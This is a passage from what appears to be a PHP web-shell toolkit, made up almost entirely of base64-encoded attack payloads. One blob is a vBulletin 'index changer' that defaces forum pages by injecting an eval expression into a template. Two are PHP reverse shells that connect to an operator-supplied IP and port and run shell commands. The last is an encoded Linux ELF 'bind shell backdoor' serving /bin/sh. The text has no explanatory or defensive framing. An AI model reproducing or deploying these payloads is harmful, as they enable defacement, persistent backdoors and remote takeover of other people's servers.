ICAgICAgICAgICAgI3wufAogfC58IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjfC58CiAgIHwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58 LnwufC58LnwufC58LnwufC58CiovCgo/Pgo8aHRtbD48c3R5bGU+CmlucHV0LCBzZWxlY3QsIHRl eHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKYm9yZGVyLXN0eWxlOiAjN2E3Yzdk Owpib3JkZXItd2lkdGg6IDFweDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5zLXNl cmlmOwpmb250LXNpemU6IDExcHg7CmNvbG9yOiAjN2E3YzdkOwpwYWRkaW5nOiAwcHg7Cn0KQTps aW5rIHsKQ09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsK Q09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewpDT0xPUjoj Nzg3ODc4OyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKY29sb3I6IzhDOEM4QztU RVhULURFQ09SQVRJT046IG5vbmUKfQo8L3N0eWxlPgo8aGVhZD4KICA8dGl0bGU+Q2hhbmdlIEFs bCBwYWdlcyBGb3IgRm9ydW08L3RpdGxlPgogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlw ZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4KPC9oZWFkPgogICAgICAgPGJv ZHkgYmdjb2xvcj0iYmxhY2siIHRleHQ9IiM3YTdjN2QiPgogICAgICAgPGRpdiBhbGlnbj0iY2Vu dGVyIj4KICAgICAgPEgyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNDAwIj48Zm9udCBmYWNl PSJUcmVidWNoZXQgTVMiIHNpemU9IjQiPgoJCTxmb250IGNvbG9yPSIjMDBGRjAwIj4mbmJzcDt2 QiBJbmRleCBDaGFuZ2VyPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gCgkJfCA8L2ZvbnQ+ Q29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPkFMLU0wR3JNIHw8L2ZvbnQ+IEVkaXQgQnkK CQk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VGhlIFN3b3JkPC9mb250PjwvZm9udD48L3NwYW4+PC9I Mj4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjQzBDMEMwIj50aGUtbG9uZWx5OTJAYXR0 Lm5ldDwvZm9udD48cD4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiPiEgQ2hhbmdlIEFsbCBQYWdlcyBG b3IgRm9ydW0gISZuYnNwOwo8YnI+PC9mb250Pjxicj4KICAgICAgPD8KCmlmKGVtcHR5KCRfUE9T VFsnaW5kZXgnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhvc3QgOiA8SU5QVVQg c2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxob3N0XCIgdHlwZT1c InRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92Ylwi IG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPgp1c2VybmFtZSA6IDxJTlBVVCBz aXplPVwiMTVcIiB2YWx1ZT1cImZvcnVtX3ZiXCIgbmFtZT1cInVzZXJuYW1lXCIgdHlwZT1cInRl eHRcIj4KcGFzc3dvcmQgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ2YlwiIG5hbWU9XCJw YXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPjxicj4KICAgICAgPGJyPgo8dGV4dGFyZWEgbmFt ZT1cImluZGV4XCIgY29scz1cIjcwXCIgcm93cz1cIjMwXCI+U2V0IFlvdXIgSW5kZXg8L3RleHRh cmVhPjxicj4KPElOUFVUIHZhbHVlPVwiU2V0XCIgbmFtZT1cInNlbmRcIiB0eXBlPVwic3VibWl0 XCI+CjwvRk9STT4iOwp9ZWxzZXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRk YXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJu YW1lJ107CiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRpbmRleCAgICAgPSAkX1BP U1RbJ2luZGV4J107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1l LCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICBAbXlzcWxfc2VsZWN0 X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKJGluZGV4PXN0cl9yZXBsYWNl KCJcJyIsIiciLCRpbmRleCk7Cgokc2V0X2luZGV4ICA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2Rl KFwnIjsKCiRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOwoK CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsKCiRvaz1AbXlz cWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIicg V0hFUkUgdGl0bGUgPSdzcGFjZXJfb3BlbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CgppZigk b2spewplY2hvICIhISB1cGRhdGUgZmluaXNoICEhPGJyPjxicj4iOwp9Cgp9CiMgRm9vdGVyCmVj aG8gIjxzdHJvbmc+U3BlY2lhTCBHcmVlVHogVG8gOjwvc3Ryb25nPiA8dT5Nb2hhamVyMjI8L3U+ IjsKPz4="; $backdoor_php1="PD9waHAKCiRpcGFkZHI9JGFyZ3ZbMV07CiRwb3J0PSRhcmd2WzJdOyAKQHNldF90aW1lX2xpbWl0 KDApOwpAaWdub3JlX3VzZXJfYWJvcnQoMSk7IApAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1l JywwKTsgCiRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7IAppZighZW1wdHkoJGRp cykpeyAkZGlzPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7IAokZGlzPWV4cGxv ZGUoJywnLCAkZGlzKTsgJGRpcz1hcnJheV9tYXAoJ3RyaW0nLCAkZGlzKTsgfQplbHNleyAkZGlz PWFycmF5KCk7IH0gCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ttUHFUaScpKXsKZnVuY3Rpb24ga21Q cVRpKCRjKXsKZ2xvYmFsICRkaXM7IAokYz0kYy4iIDI+JjFcbiI7IAokTHF6VWh6dj0naXNfY2Fs bGFibGUnOyAKJGpXcUs9J2luX2FycmF5JzsgCmlmKCRMcXpVaHp2KCdzaGVsbF9leGVjJylhbmQh JGpXcUsoJ3NoZWxsX2V4ZWMnLCRkaXMpKXsKJG89c2hlbGxfZXhlYygkYyk7IAp9ZWxzZSBpZigk THF6VWh6dignZXhlYycpYW5kISRqV3FLKCdleGVjJywkZGlzKSl7CiRvPWFycmF5KCk7IGV4ZWMo JGMsJG8pOyAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7IAp9ZWxzZSBpZigkTHF6VWh6dign cHJvY19vcGVuJylhbmQhJGpXcUsoJ3Byb2Nfb3BlbicsJGRpcykpewokaGFuZGxlPXByb2Nfb3Bl bigkYyxhcnJheShhcnJheShwaXBlLCdyJyksYXJyYXkocGlwZSwndycpLGFycmF5KHBpcGUsJ3cn KSksJHBpcGVzKTsgCiRvPU5VTEw7IHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpeyAkby49ZnJlYWQo JHBpcGVzWzFdLDEwMjQpOyB9IApAcHJvY19jbG9zZSgkaGFuZGxlKTsgfQplbHNlIGlmKCRMcXpV aHp2KCdzeXN0ZW0nKWFuZCEkaldxSygnc3lzdGVtJywkZGlzKSl7Cm9iX3N0YXJ0KCk7IHN5c3Rl bSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1lbHNlIGlmKCRM cXpVaHp2KCdwYXNzdGhydScpYW5kISRqV3FLKCdwYXNzdGhydScsJGRpcykpewpvYl9zdGFydCgp OyBwYXNzdGhydSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1l bHNlIGlmKCRMcXpVaHp2KCdwb3BlbicpYW5kISRqV3FLKCdwb3BlbicsJGRpcykpewokZnA9cG9w ZW4oJGMsJ3InKTsgJG89TlVMTDsgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CndoaWxlKCFmZW9mKCRm cCkpeyAkby49ZnJlYWQoJGZwLDEwMjQpOyB9IAp9IApAcGNsb3NlKCRmcCk7IAp9ZWxzZSB7ICRv PTA7IH0gCnJldHVybiAkbzsgfSAKfQokbm9mdW5jcz0nbm8gZXhlYyBmdW5jdGlvbnMnOwppZihp c19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewok cz1AZnNvY2tvcGVuKCRpcGFkZHIsJHBvcnQpOyB3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CiRv dXQgPSAnJzsgaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpeyAKY2hkaXIoc3Vic3RyKCRjLDMs LTEpKTsgCn0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYyww LDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0PWttUHFUaShzdWJzdHIoJGMsMCwt MSkpOyBpZigkb3V0PT09ZmFsc2UpeyBmd3JpdGUoJHMsJG5vZnVuY3MpOyBicmVhazsgfSB9IApm d3JpdGUoJHMsJG91dCk7IH0gZmNsb3NlKCRzKTsgfWVsc2V7ICRzPUBzb2NrZXRfY3JlYXRlKEFG X0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7IApAc29ja2V0X2Nvbm5lY3QoJHMsJGlwYWRkciwk cG9ydCk7IEBzb2NrZXRfd3JpdGUoJHMsInNvY2tldF9jcmVhdGUiKTsgCndoaWxlKCRjPUBzb2Nr ZXRfcmVhZCgkcywyMDQ4KSl7ICRvdXQgPSAnJzsgCmlmKHN1YnN0cigkYywwLDMpID09ICdjZCAn KXsgY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsgfSAKZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0g J3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0 PWttUHFUaShzdWJzdHIoJGMsMCwtMSkpOyBpZigkb3V0PT09ZmFsc2UpeyBAc29ja2V0X3dyaXRl KCRzLCRub2Z1bmNzKTsgYnJlYWs7IH0gfQpAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRv dXQpKTsgfSBAc29ja2V0X2Nsb3NlKCRzKTsgfSAKPz4g"; $backdoor_php="PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQn LCA1KTsKCiRpcCA9ICRhcmd2WzFdOwokcG9ydCA9ICRhcmd2WzJdOwokY2h1bmtfc2l6ZSA9IDIw NDg7CgppZiAoISgkc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0KSkpIGRpZSgnW2Vycl1Db25u ZWN0aW9uIHRvIHskaXB9OnskcG9ydH0gcmVmdXNlZCcpOwokZGVzY3JpcHRvcnNwZWMgPSBhcnJh eSgwID0+IGFycmF5KCdwaXBlJywgJ3InKSwgMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4g YXJyYXkoJ3BpcGUnLCAndycpKTsKaWYgKCFpc19yZXNvdXJjZSgoJHByb2Nlc3MgPSBwcm9jX29w ZW4oJy9iaW4vc2ggIC1pJywgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpKSkpIGRpZSgnW2Vycl1D YW5cJ3Qgc3Bhd24gc2hlbGwnKTsKCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsK c3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRw aXBlc1syXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwoKd2hpbGUgKCFmZW9m KCRzb2NrKSAmJiAhZmVvZigkcGlwZXNbMV0pKSB7CgkkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRw aXBlc1sxXSwgJHBpcGVzWzJdKTsKCSRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVj dCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOwoKCWlmIChpbl9hcnJheSgkc29j aywgJHJlYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOwoJCWZ3 cml0ZSgkcGlwZXNbMF0sICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVh ZF9hKSkgewoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0 ZSgkc29jaywgJGlucHV0KTsKCX0KCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7 CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CgkJZndyaXRlKCRzb2Nr LCAkaW5wdXQpOwoJfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3Nl KCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKZGll Owo/Pg=="; $backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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